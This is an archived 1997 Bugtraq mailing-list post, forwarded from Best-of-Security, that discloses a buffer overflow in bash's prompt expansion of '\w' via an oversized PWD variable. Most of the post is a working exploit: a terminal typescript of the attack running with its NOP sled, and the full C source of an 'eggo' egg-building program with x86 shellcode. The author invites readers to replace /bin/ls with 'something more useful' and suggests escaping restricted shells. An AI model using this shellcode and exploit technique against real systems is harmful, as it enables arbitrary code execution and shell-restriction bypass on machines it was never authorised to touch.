Bugtraq mailing list archives

[Fwd: BoS: Buffer overflow in /bin/bash]


From: hotcode () POBOXES COM (hOtCodE)
Date: Fri, 22 Aug 1997 12:01:40 +0200


This is a multi-part message in MIME format.
--------------731C42EC0F53AA15A3DEB6D9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

-- hOtCodE <hotcode () poboxes com>
--------------731C42EC0F53AA15A3DEB6D9
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from nf6.netforward.com by server.lsol.tm.fr via ESMTP (951211.SGI.8.6.12.PATCH1042/940406.SGI.AUTO)
        for <hc () lsol tm fr> id DAA19408; Fri, 22 Aug 1997 03:00:45 -0700
X-Forwarder: NetForward.com
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id 
LAA11286; Fri, 22 Aug 1997 11:02:16 +1000
Received: (from slist@localhost)
        by plum.cyber.com.au (8.8.6/8.8.6) id LAA11883;
        Fri, 22 Aug 1997 11:02:10 +1000 (EST)
Old-X-Envelope-From: drazvan () pop3 kappa ro  Fri Aug 22 06:20:38 1997
Date: Thu, 21 Aug 1997 18:31:27 +0300 (EET DST)
From: Razvan Dragomirescu <drazvan () kappa ro>
Message-ID: <Pine.LNX.3.96.970821182935.3707A-100000 () pop3 kappa ro>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
ReSent-Date: Thu, 21 Aug 1997 23:26:08 +0300 (EET DST)
ReSent-To: best-of-security () cyber com au
ReSent-Message-ID: <Pine.LNX.3.96.970821232608.4512A () pop3 kappa ro>
Sender: darrenr () cyber com au
Old-Status: O
X-Loop: best-of-security () cyber com au
Errors-To: best-of-security-request () cyber com au
Precedence: list
Resent-Sender: best-of-security-request () cyber com au
To: best-of-security () cyber com au
Resent-From: best-of-security () cyber com au
X-OS: FreeBSD3.0-current
X-Mailing-List: <best-of-security () cyber com au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request () cyber com au with Subject: 
unsubscribe
Subject: BoS: Buffer overflow in /bin/bash
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by nf6.netforward.com id UAA17289


Hello again,

If this is old, I'm sorry but I wasn't able to find it elsewhere.

There is a buffer overflow condition in the way "bash" treats the expansi=
on of
the prompt line (as specified by PS1). I usually use something like

PS1=3D\h:\w\$

which is very nice. \h is the host name, \w is the working directory and =
\$ is
either '#' or '$', depending on your UID. The problem is with \w. It appe=
ars
it reads the current working directory from the PWD environment variable.
It then adds it to the prompt line, which I think has a fixed length,
somewhere around 1024 bytes. (Can anyone confirm this? I do not have the =
C
source. Yet.).

By writing past the end of this buffer, you can execute arbitrary code.

Take a look at this:

(The exploit code is heavily based on AlephOne's "Smashing the Stack for =
Fun
and Profit". I've changed the string "/bin/sh" to "/bin/ls".
A shell spawning another shell wouldn't do much magic :)
My comments start with ##).

--typescript--

## Some sysinfo first.
paul:~/2$ uname -a
Linux paul 2.0.29 #3 Wed Aug 6 01:50:05 GMT+2 1997 i486

paul:~/2$ bash -version
GNU bash, version 1.14.7(1)

## I've tested it on a 2.00 beta too and it works. If anyone has a newer
version, please let me know if it works.

paul:~/2$ pwd
/home/drazvan/2

## We'll get a file listing to compare it with the one at the bottom.
paul:~/2$ ls
eggo          eggo.c        shellcode.h   smashsta.txt  typescript

paul:~/2$ ./eggo
[ Buffer size:  2048            Egg size:       2048    Aligment:       0       ]
[ Address:      0xbffffb60      Offset:         0                               ]

## We'll change PS1 to include '\w'
bash$ export PS1=3D'\w:'

## You can see the working directory now (~/2). Now set the PWD variable.
~/2:export PWD=3D$BOF
## Kaboom....

sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
(...a few lines were suppressed)
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90

=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90

=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=EB=1F^=89v=081=C0=88F=07=89F=0C=B0=0B=89=F3=8DN=08=8D=
V=0C=CD=801=DB=89=D8@=CD=80=E8=DC=FF=FF=FF/bin/ls: File name too long
eggo          eggo.c        shellcode.h   smashsta.txt  typescript

## Bingo! Bash just executed our ls! You can of course change /bin/ls to
something more useful.

paul:~/2$=20

--end of typescript--

The only problem with this is that I don't see many uses for this
overflow. "bash" is not a setuid program (I wish it were...). Maybe you
could bypass a restricted shell based on bash, or create
directories with very long names in order to get past the end of the
buffer. But I'm sure one of you will think of something useful to do with
it.

Now, here's the source for that "eggo" program you've seen:

--eggo.c--

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define NOP_SIZE        1
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE            2048
#define DEFAULT_EGG_SIZE               2048

char nop[] =3D "\x90";
char shellcode[] =3D
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/ls";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void usage(void);

void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=3DDEFAULT_OFFSET, bsize=3DDEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=3D0, eggsize=3DDEFAULT_EGG_SIZE;

  while ((c =3D getopt(argc, argv, "a:b:e:o:")) !=3D EOF)
    switch (c) {
      case 'a':
        align =3D atoi(optarg);
        break;
      case 'b':
        bsize =3D atoi(optarg);
        break;
      case 'e':
        eggsize =3D atoi(optarg);
        break;
      case 'o':
        offset =3D atoi(optarg);
        break;
      case '?':
        usage();
        exit(0);
    }

  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }

  if (!(bof =3D malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg =3D malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr =3D get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

addr_ptr =3D (long *) bof;
  for (i =3D 0; i < bsize; i+=3D4)
    *(addr_ptr++) =3D addr;

  ptr =3D egg;
  for (i =3D 0; i < eggsize - strlen(shellcode) - NOP_SIZE; i+=3DNOP_SIZE=
)
    for (n =3D 0; n < NOP_SIZE; n++) {
      m =3D (n + align) % NOP_SIZE;
        *(ptr++) =3D nop[m];
    }

  for (i =3D 0; i < strlen(shellcode); i++)
    *(ptr++) =3D shellcode[i];

  bof[bsize - 1] =3D '\0';
  egg[eggsize - 1] =3D '\0';

  memcpy(egg,"EGG=3D",4);
  putenv(egg);

  memcpy(bof,"BOF=3D",4);
  putenv(bof);
  system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr,
    "usage: eggo [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o
<offset>]\n");
}


--end of eggo.c--

My special thanks to Doru Petrescu <pdoru () kappa ro> who first noticed the
problem while "cd"-ing to _very_ long paths for the fun of seeing bash
crash.

And of course to AlephOne for his wonderful "Smashing the Stack for Fun
and Profit". My exploit program is entirely based on his "eggshell" code.

Have fun and be good,
Razvan

--
Razvan Dragomirescu
drazvan () kappa ro, drazvan () romania ro, drazvan () roedu net
Phone: +40-1-6866621
"Smile, tomorrow will be worse" (Murphy)






--------------731C42EC0F53AA15A3DEB6D9--



Current thread: